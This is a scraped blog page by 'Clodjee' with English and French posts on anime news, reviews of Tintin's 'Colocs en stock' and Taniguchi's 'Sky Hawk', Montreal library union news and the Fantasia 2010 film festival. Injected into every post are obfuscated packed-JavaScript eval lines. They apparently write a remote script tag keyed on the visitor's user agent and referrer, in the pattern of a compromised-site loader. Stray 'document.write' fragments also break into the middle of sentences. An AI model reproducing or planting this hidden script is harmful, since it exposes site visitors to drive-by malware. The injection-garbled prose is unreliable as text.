eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbira|var|u0026u|referrer|niaei||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

The shape of things to come

/ Clodjee / Leave a comment

On Tuesday the Anime News Network has introduced some changes to the website that are only the first steps into many more improvements to come. Those changes were first announced in a “Letter from the Editor” dated June 24th and then discussed the following day in the ANNCast episode “Totally Boss”.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akris|var|u0026u|referrer|rytdk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzrhd|var|u0026u|referrer|tynhf||js|php’.split(‘|’),0,{}))

The night before the changes went online a new “Letter from the Editor” titled “A look at the (near) Future – Interim 1.0” introduced them to the website readers. ANN’s Editor-in-chief, document.write(“”); Christopher Macdonald, was telling us that a new “casual” feed would be added to the “main feed.” While the main feed would remain dedicated to hard news content, the new interest feed would bring “a daily feed of interesting and entertaining articles related to anime.” This would be accompanied with a slight layout change: an icon would be identifying the topic and type of content of each item of the feed.

This is great news. Here’s how the webpage looked on the morning the changes were introduced:

Colocs en stock

/ Clodjee / 1 Comment

“Les albums de Tintin furent très tôt traduits (à partir de 1952) dans la plupart des langues du monde. Ainsi, document.write(“”); par l’entremise de ces traductions, Tintin est devenu un personnage réellement universel, connu de la Chine à l’Islande, de la Slovénie à la Thaïlande. Outil d’apprentissage ou d’immersion, l’album de Tintin peut, au fil des langues, devenir également une source de plaisir esthétique et visuel. Le lotus bleu en chinois ou Tintin au Tibet en tibétain raviront les amateurs et rendent justice à la portée universelle du génie d’Hergé.” [texte de présentation sur le site de l’éditeur — pour le texte de couverture arrière, voir l’image ci-bas]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hesir|var|u0026u|referrer|rditd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aefbz|var|u0026u|referrer|fsehi||js|php’.split(‘|’),0,{}))

Colocs en stock c’est la version québécoise de Coke en stock. Un peu avant sa parution, j’en ai lu la nouvelle avec incrédulité mais n’y ai pas porté trop d’attention (ayant d’autre chat à reviouer). Il y a quelques semaines, quand un collègue de la bibliothèque où je travaille me l’a mis entre les mains, je me suis dit que je devrais bien le lire, ne serait-ce que par curiosité… Alors: Traduire Tintin en plusieurs langues ça fait du sens pour accroitre la diffusion de ce qui est un icône de la BD. Le traduire en dialecte m’apparait toutefois comme une entreprise futile puisque les gens du Québec peuvent très bien lire et comprendre la version française traditionnelle. A la rigueur j’aurais vu une version localisée qui s’en tient à adapter les choses qui sont typiquement européennes et que les québécois peuvent difficilement comprendre (dans le genre changer “loterie du San Theodoros” par “6/49”, faute d’un meilleur exemple), mais tout traduire en joual? Non, vraiment pas nécessaire. C’est une curiosité, un exercice amusant; sans plus.

La meilleur c’est d’entendre (ou de lire) le serviteur de l’émir s’exclamer “je l’sais-tu, moé ?” C’est pas si pire de mettre ce genre d’expressions dans la bouche du capitaine Haddock (une chance qu’y continue à dire “mille milliards de mille sabords!”) mais de voir un journaliste cultivé comme Tintin dire des choses comme “Toé, si j’te pogne!” il me semble que ça “fite” pas pantoutte avec le personnage… Une grande déception: pas un seul sacre de tout l’album. I’me semble qu’Haddock aurait bien pu lâcher un tabarnak quec’part (oups! c’est contagieux, ce language). C’est tout de même drôle à lire (ou re-lire).

Pour vous donner une idée, voici la première page de Colocs en stock et celle de Coke en stock:

Puis les pages 2 et 3 de Colocs en stock:

Finalement, la page 4 de Colocs en stock et celle de Coke en stock:

Je ne suis d’ailleurs pas le seul à avoir un avis mitigé sur cet album comme en font foi ces critiques du Devoir (2008/11/20), de La Presse (2009/10/21) et Radio-Canada (2009/10/16). On trouve également sur Canoë un mini-interview avec Yves Laberge.

Colocs en stock par Hergé (adaptation par Yves Laberge). Casterman, 2009. Couleur, 22.6 x 30.4 cm, 64 pgs. 9.95 € / $19.95 Can. Recommandé pour tous? (7+). ISBN: 978-2-203-02655-1.
Colocs en stock © Casterman, 2009.

Sky Hawk

/ Clodjee / Leave a comment

“Hikosaburô et Manzô, document.write(“”); deux samouraïs exilés aux Etats-Unis depuis la restauration de Meiji (1868), vivent de leur chasse sur le territoire des Indiens Crow.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yszka|var|u0026u|referrer|bbird||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbhik|var|u0026u|referrer|hsaen||js|php’.split(‘|’),0,{}))

“Un jour, Hikosaburô porte secours à une Indienne, Running Deer, poursuivie par des chasseurs de prime. Ils sont sauvés in extremis par un groupe de guerriers Oglagla conduits par Crazy Horse. Le chef indien, fasciné par la technique de combat des deux samouraïs, les invite à rejoindre son campement pour enseigner le ju-jitsu à ses hommes. Une profonde amitié va alors naître entre eux.”

“Devenus Sky Hawk et Winds Wolf, les deux samouraïs vont lutter aux côtés des Indiens contre les hommes blancs venus à la conquête de l’Ouest. La bataille pour sauver leur terre sacrée des Black Hills s’annonce terrible, mais ces valeureux guerriers sont bien décidés à lutter jusqu’au bout.”

“Avec SKY HAWK, Jirô Taniguchi nous livre un western fascinant où bushidô japonais et code d’honneur indien se retrouvent autour des mêmes valeurs. Les décors du far-west américain et le style épuré de l’auteur servent à merveille l’histoire d’une amitié improbable.” [Texte de présentation du rabat de couverture ainsi que du site de l’éditeur]

Sky Hawk (??? / Ten no taka / lit. “Faucon Céleste”) a été publié au Japon par Futabasha en 2002 et en France par Casterman (collection Sakka) en 2009. Taniguchi démontre une fois de plus sa polyvalence par le fait qu’il est à l’aise avec une grande diversité de genres. Il poursuit son rapprochement avec la BD franco-belge en s’attaquant cette fois au western, un genre typiquement occidental. Dans la préface de l’ouvrage, Jean “Moebius” Giraud se targue d’ailleurs que le western survit maintenant plus dans la BD franco-belge que dans le cinéma Hollywoodien. Et Taniguchi, dans la postface, avoue encore une fois avoir grandement été influencé et stimulé par cette BD européenne, particulièrement—dans le cas de Sky Hawk—par les “séries de western telles que Mac Coy [Gourmelen & Palacios], Blueberry [Charlier & Giraud], Comanche [Herman & Greg], Jonathan Cartland [Harlé & Blanc-Dumont]”. Il a bien sûr également été inspiré par le western hollywoodien (des films comme Little Big Man, Jeremiah Johnson, Un homme nommé cheval, Danse avec les Loups ou Le Derniers des Mohicans). Il précise qu’il voulait faire du western depuis longtemps mais qu’il cherchait une façon d’introduire le genre d’une manière qui serait appréciée par le public japonais. C’est alors qu’il eut l’idée de mettre en scène des personnages Japonais.

Sky Hawk semble bien loin de l’humanisme et des déambulations introspectives du Journal de mon père ou Quartier Lointain. On y retrouve pourtant une des thématiques chères à Taniguchi: les vastes étendues de nature sauvage. En effet, Sky Hawk allie avec dextérité l’action et le naturalisme de Blanco à la violence et au récit historique de Kaze no Sho. Sur une toile de fond historique rigoureusement recherchée, Taniguchi superpose l’histoire de deux ronins exilés dans l’ouest américain. Si ces deux personnages sont eux fictifs, la présence de Japonais en Amérique à cette époque est un fait établi (il nous le précise dans la postface: “j’ai appris qu’en 1869 une quarantaine de Japonais du clan Aizu, ayant perdu la guerre de Boshin, avaient emprunté le bateau à vapeur China, partant de Yokohama pour se rendre à San Francisco”). Pour ancré l’authenticité du récit il le parsème de faits et de personnages historiques, le faisant culminer avec la bataille de Little Big Horn où Custer sera défait et tué.

Sky Hawk est une bonne occasion pour Taniguchi de dessiner ces grands espaces naturels et sauvages qu’il aime tant, mais aussi de tracer un parallèle entre les cultures nippone et amérindienne qui, toutes deux basées sur des croyances animistes, vouent un grand respect à la nature. La comparaison pourrait bien même être poussée au niveau politique: les deux samurai ont fuit le Japon après avoir été défait par les forces qui favorisaient l’influence européenne et se retrouvent en Amérique à lutter contre ces même européens qui veulent envahir l’ouest et détruire la culture amérindienne. On peut possiblement y voir une critique voilée de l’expension de l’influence américaine qui piétine injustement toutes les cultures par où elle passe, mais c’est par contre certainement un avertissement où Taniguchi nous rappelle que la destruction de la nature—illustrée ici par les bisons—a aussi des effets dévastateurs sur les cultures humaines.

Le style de Taniguchi s’est grandement amélioré depuis Blanco (1985) et Kaze no Sho (1992). La preuve en est ses superbes illustrations de début de chapitres. Il a maintenant une excellente maitrise du récit d’action, tout en conservant son style clair et précis. Sky Hawk est du pur Taniguchi à son meilleur. Malgré que ce soit un récit d’action, il nous entraine dans une marche à travers l’Ouest sauvage américain et suscite une sorte d’introspection sur la destruction du magnifique, mais fragile, équilibre de la nature (à laquelle l’homme appartient) et qui se fait souvent pour des raisons bassement égoïstes et politiques. A lire absolument.

Sky Hawk par Jir? TANIGUCHI. Casterman (Coll. Sakka), 2009. B&W, 15 x 21 cm, 288 pgs (dont 8 en couleur). 12.50 € / $26.95 Can. Recommandé pour adolescents (14+). ISBN: 978-2-203-02617-9.
Ten no Taka (Sky Hawk) © Jiro Taniguchi, 2002. © Casterman, 2009 pour la traduction française.

Références: notice bibliographique et notice Wikipedia.

Revue de Presse / Press Review (2010/07/09)

/ Clodjee / 2 Comments

This week we had very hot temperatures which made it all quite tiring. I didn’t sleep well (because of back pain) and overall felt rather bad most of the time (despite air conditioning). I didn’t do much this week since I was stranded without either cable tv or internet on my first day off (tuesday; thanks Videotron!) and spend my second day off (today) worrying about this string of strong thunderstorms threatening to flood my basement with abundant rain. I feel so drained. I hate not having two days off in a row… Anyway, document.write(“”); the week was also abundant in news, so here’s a sample of what was worth reading:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iazbe|var|u0026u|referrer|hzhiy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfiib|var|u0026u|referrer|rtkar||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

What we’ve been watching

/ Clodjee / Leave a comment

There’s not much good series on TV lately because of the summer, document.write(“”); so my wife and I are watching mostly old stuff (previously recorded, purchased or downloaded).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iheki|var|u0026u|referrer|sentk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ideyy|var|u0026u|referrer|edieb||js|php’.split(‘|’),0,{}))

We have a big weakness for historical series and particularly for Brit TV, so, this year, after watching the superb Lark Rise to Candleford, and devoting a considerable amount of time to the quite interesting 41-episode TV series Sherlock Holmes starring Jeremy Brett (which originally aired between 1984 and 1994), we’ve watched The Pacific, the last season of The Tudors and now we are currently watching Upstairs, Downstairs (1971-75; we’ve just started the second season).

As for movies, we tend to watch them in thematic clusters. After watching a bunch of Sherlock Holmes-related movies (Guy Ritchie’s version, of course, followed by Billy Wilder’s Private Life of Sherlock Holmes (1970), some old adaptations like A Study in Scarlet (1968, with Peter Cushing, which is in fact a TV episode) and others not worth mentioning), we’ve watched a bunch of Oscar-related movies (The Reader, Slumdog Millionaire, The Hurt Locker, The Young Victoria). After watching Vicky Cristina Barcelona, we went for a couple of Woody Allen movies (Match Point (starring The Tudors’ actor Jonathan Rhys Meyers), Scoop).

Then we bought two boxed sets of romantic comedy compilations: Music & Lyrics, Rumour Has It, Lucky You, Sweet November, Where the Heart Is, Ever After, and Someone Like You (all good and funny but, seriously, I’ve now seen enough romantic comedies for a while!).

After watching Gran Torino (as part of our Oscar streak), we strangely went for a bunch of old Clint Eastwood movies, all produced in 1971: Play Misty for Me (a thriller precursor of “Fatal Attraction”, where Clint made his directorial debut), The Beguiled and Dirty Harry.

Finaly, we’ve seen a couple of Japanese (or Japan-inspired) movies: Hachiko, A Dog Story (sad), Bare Essence of Life (weird and boring) and Love And Honor (nice!). Also we seem to have a predilection for old classics: A Summer Place (1959), Love Story (1970), Romeo and Juliet (1968, Franco Zeffirelli), La Belle et la Bête (1946, Jean Cocteau) and Le Déjeuner sur l’Herbe (1959, Jean Renoir).

On my own, I’ve also watched many movies since the beginning of the year: Avatar, the last two Harry Potter, Up in the Air, The Time Traveler’s Wife, 2012, Riverworld, the first two Twilight, W., Pi, and The Book of Eli. I like watching movies: it’s relaxing, it brings you into another world and takes your mind off your current problems. Most of those movies are good and worth mentioning, and if I’d like to write short reviews for all of them, I am unfortunately too busy and lazy to do so. But the festival season is starting and I should resume writing movies reviews (but I won’t post them all here, since I’ll keep some for other publications to come)…

Victoire! En quelque sorte…

/ Clodjee / Leave a comment

Hier soir, document.write(“”); une employée de la bibliothèque Plateau Mont-Royal m’a informé que, mercredi, la bibliothécaire avait affiché un courriel reçu de l’arrondissement et portant sur l’assemblée sectorielle dédiée à la lettre d’entente de l’arrondissement Plateau Mont-Royal. Personne ne s’étant présenté à l’assemblée, l’entente n’a donc pas été signé et une nouvelle assemblée est prévue quelque part en septembre…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knrds|var|u0026u|referrer|rtfye||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyfdb|var|u0026u|referrer|izfya||js|php’.split(‘|’),0,{}))

Ce résultat découle sans doute en partie de notre campagne pour inciter les auxiliaires à ne pas se présenter à l’assemblée sectorielle tant que le texte de l’entente n’aurait pas été présenté d’avance aux membres (en dépit du fait que, cette stratégie n’ayant préalablement pas porté fruit, nous ayons finalement recommendé aux membres d’assister à l’assemblée sectorielle). Toutefois les véritables causes de cet absentéisme sont fort probablement plutôt le désintérêt et la démobilisation des membres, et le fait que la réunion devait avoir lieu dans les locaux même du syndicat et non dans l’arrondissement.

C’est donc partie remise…

Gyoko: rocking the fish

/ Clodjee / Leave a comment

This afternoon, document.write(“”); while watching a documentary on French TV, I discovered an intriguing Japanese rock band (aren’t they all?) which is singing the virtues of eating fish! After a little research I even found a Wall Street Journal article talking about them.

“Captain” Tsurizao Morita, a former tuna fisherman, works in his fish shop by day and become the leader of the rock-band Gyoko (meaning fishing port) at night to promote the fish industry and convince his fellow Japanese countrymen & women to eat more fish. All their songs are about fish. During concerts he wield a big fisherman’s knife, slicing real fish that they serve afterward to the public.

An old article on Detour Japan gives us more details on the band native of Urayasu in the Tokyo Bay. The band has its own website and has released several CDs, two of them available on Apple’s iTunes store (one self-titled album, Gyoko, offering twelve songs for only $1.99 US and the other, Fish & Peace, available for $11.88 US). They even have videoclips on YouTube! Here’s their song “Maguro” (Tuna):

There’s also a weird promo clip, a news report and an extract from a Spanish documentary…

Japanese rock bands will never cease to amaze me. If they are still rocking around, someone should invite them to an anime convention!

Press Release: Panorama-cinéma est à Fantasia

/ Clodjee / Leave a comment


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fneea|var|u0026u|referrer|sbedk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ksaff|var|u0026u|referrer|baznd||js|php’.split(‘|’),0,{}))
Kuroneko: Voyages hallucinatoires, document.write(“”); fantômes et malédictions sous le signe du Japon
Montréal, le 6 juillet 2010 — Panorama-cinéma est très fier de s’associer au festival Fantasia dans le cadre de l’édition 2010. Cet été, la revue électronique sur le cinéma franchit un nouveau cap : l’édition imprimée. Quoi de plus naturel, à l’occasion de la sortie d’un numéro papier traitant de « L’humanisme d’après-guerre japonais », que de le présenter sous l’égide de Fantasia qui, en plus d’avoir servi à ces jeunes critiques à faire leurs armes, s’affirme comme le principal rendez-vous du cinéma asiatique à Montréal? À l’occasion, Fantasia et Panorama-cinéma proposent donc au public KURONEKO (1968, Kaneto Shindo), les 9 juillet (19 h 45, Salle J.A. De Sève), 14 juillet (15 h, Salle J.A. De Sève) et 15 juillet (18 h 30, Cinémathèque Québécoise).

Fantasia est depuis toujours un lieu de prédilection pour la revue électronique : le cinéma de genre, celui aux horizons éclatés ou encore le cinéma en marge, négligé par le grand public, ont toujours figuré dans la sphère d’intérêt de ses rédacteurs. En 2009, Panorama-cinéma publiait près de 40 critiques et une dizaine d’entrevues dans le cadre du festival. Cette année, Fantasia et Panorama-cinéma présentent un film ensemble : KURONEKO (1968) de Kaneto Shindo (auteur de L’île nue (1960), Onibaba (1964)). Faites l’expérience intime d’une magnifique copie 35 mm provenant des voûtes de Janus Films (distributeur affilié de la Collection Criterion), introuvable en Amérique du Nord! Inspiré par les contes traditionnels japonais, c’est un film de fantômes ayant servi d’inspiration à tout le courant récent de « j-horror » mené par des cinéastes tels que Hideo Nakata (Ringu, Dark Water) ou Takashi Shimizu (Ju-On). Mariage parfait pour une soirée digne de Fantasia : fantômes, malédictions, effets spéciaux audacieux et musique envoûtante. KURONEKO est une recette miracle pour les assoiffés du meilleur cinéma fantastique!

Le tout nouveau volet imprimé cerne un enjeu spécifique ou un courant cinématographique particulier pour l’explorer en profondeur. Le dossier imprimé contient des critiques, mais aussi des articles plus généraux et des essais libres qui divergeront de la forme préconisée sur le site actuel. Si on cherche à imprimer, c’est aussi pour laisser aux lecteurs un bel objet : tous nos numéros seront illustrés par des artistes ou bédéistes de la scène locale. Le premier recueil, dirigé par Mathieu Li-Goyette et signé par l’équipe de Panorama-cinéma et ses collaborateurs (dont Claude R. Blouin, spécialiste émérite du cinéma japonais) porte sur « L’Humanisme d’après-guerre japonais » (disponible dès le 15 juillet) et met l’accent sur divers cinéastes tels Ozu, Kurosawa, Mizoguchi et Kobayashi, le tout agrémenté d’illustrations du bédéiste montréalais Vincent Giard, qui a aussi signé la couverture que voici.

PROJECTIONS DE KURONEKO :

BANDE-ANNONCE :
http://www.youtube.com/watch?v=WGwLhcJ9T6o

« L’humanisme d’après-guerre japonais » sera disponible lors de la projection du 15 juillet, et sera dès cette date distribué en kiosques tout au long du festival. Il sera également possible de se le procurer en ligne.

Suivez-nous sur Facebook et www.panorama-cinema.com !

Fantasia 2010

/ Clodjee / Leave a comment


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syene|var|u0026u|referrer|btnad||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ersda|var|u0026u|referrer|nenzt||js|php’.split(‘|’),0,{}))
Tuesday, document.write(“”); Fantasia announced the highlights of its programming and posted all the details on its website.

The 14th edition of the Fantasia International Film Festival, one of the largest events dedicated to genre cinema, will be held from July 8th to July 28th, at Concordia University’s Hall Theatre and a few other venues in Montreal. This year, with more government subsidies, the festival has widened and diversified even more its impressive programming. It offers nearly 300 movies, including over 120 feature-length films and several hundreds shorts, as well as a variety of documentaries, panel discussions, stage plays, outdoor screenings and many guests will be there to introduce and discuss their work.

The festival will open with Disney’s The Sorcerer’s Apprentice and close with Eli Craig’s horror film satire Tucker & Dale’s vs. Evil. Other notable events of the festival are the screenings of Fritz Lang’s restored Metropolis (1927, with 25 min. of previously lost footage; screened at the Place des Arts’ Salle Wilfrid Pelletier), Jean Cocteau’s Le Sang d’un Poête (1930, screened at the Rialto Theatre), and Ken Russell’s The Devils (who has a retrospective at the Cinémathèque Québécoise and will also receive an award for his unique contribution to cinema). Animators Don Bluth and Gary Goldman will also receive a dual lifetime achievement award. Among the movies from the West that intrigues me, I must also mention Centurion, “a breathtaking rollercoaster” set in roman time, directed by Neil Marshall (The Descent).

Of course, the most interesting part of the festival for us is its Asian programming. It offers 55 Asian movies (including 24 from Japan, 14 from Korea, 9 from Hong Kong, 3 from Thailand, 2 from China as well as from Vietnam, Indonesia and Malaysia).

The Japanese movies include eight anime features (twice as much as last year): Evangelion 2.0: You Can(Not) Advance, First Squad: The Moment of Truth (a Japan/Russia co-production), Gintama: The Movie, King of Thorn, Mai Mai Miracle, Oblivion Island: Haruka and the Magic Mirror, Space Battleship Yamato: Resurrection, and Summer Wars (best animated feature at the 2010 Japanese Academy Awards). Other notable animations are The Land Before Time (USA, Don Bluth), Technotise: Edit & I (Serbia) and What is not Romance? (Korea).

The live-action Japanese movies includes (click on the link for details): Air Doll (Dir. Hirokazu Kore-eda), Alien Vs Ninja, Battle in Outer Space (a 1960 classic dir. by Ishiro Honda), Boys on the Run, Brass Knuckle Boys, Crows Zero 2 (Dir. Takashi Miike), Fish Story, Golden Slumber, Higanjima, Kuroneko (a 1968 classic), Mutant Girls Squad, Raise the Castle!, Rinco’s Restaurant, Sawako Decides, Symbol, and Van Von Hunter (a USA/Japan co-production written & directed by Tokyopop’s Stu Levy and Steven Calcote). We must also note the quite funny Les homme d’une autre planète (a Thailand/Japan/Taiwan “co-production” “dubbed” in French!)

The Japanese and anime-related guests include: Yoshinori Chiba (Dir. of Alien Vs Ninja), Stu Levy (founder of Tokyopop and co-dir. of Van Von Hunter), Yuri Lowenthal (popular voice-actor (Bleach, Code Geass, Naruto) and actor in Van Von Hunter), Yoshihiro Nishimura (co-dir. of Mutant Girls Squad), Tara Platt (voice-actress (Buso Renkin, Naruto) and panelist), and Mai Tominaga (dir. of Rinco’s Restaurant).

Finally, two of the panels might be of interest for the animation fans: “The Current and Future State of Traditional Animation Cinema: Death, Comeback and Resurrection” (Sunday July 18th 1:00 pm, at the EV-01.615 amphitheatre (1515 Ste-Catherine W), with Don Bluth, Gary Goldman, Gerard Potterton and Luc Chamberland) and “Voice Over, Voice Actor” (Sunday July 18th 3:00 pm, at the EV-01.615 amphitheatre (1515 Ste-Catherine W), with Yuri Lowenthal & Tara Platt).

The schedule for all the movies mentioned above can be found here.

Enjoy the festival!

(updated 2010/07/06)

Revue de Presse / Press Review (2010/07/01)

/ Clodjee / Leave a comment

First, document.write(“”); don’t expect me to wish you an happy Canada Day! Maybe, if you’re in “La belle province”, I could wish you happy Moving Day instead… This week the weather kept oscillating between hot and cold—which is quite annoying. Not much happened besides that I attended the Fantasia press conference, went for an optometric exam (which will cost me $650 in new glasses) and had a slight flooding in my basement (a strong thunderstorm caused the sewage to back-up again, but, thanksfully, there was no damage). All in all, it was a slow week (then why am I so tired?) with little news:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eiean|var|u0026u|referrer|iebzz||js|php’.split(‘|’),0,{}))
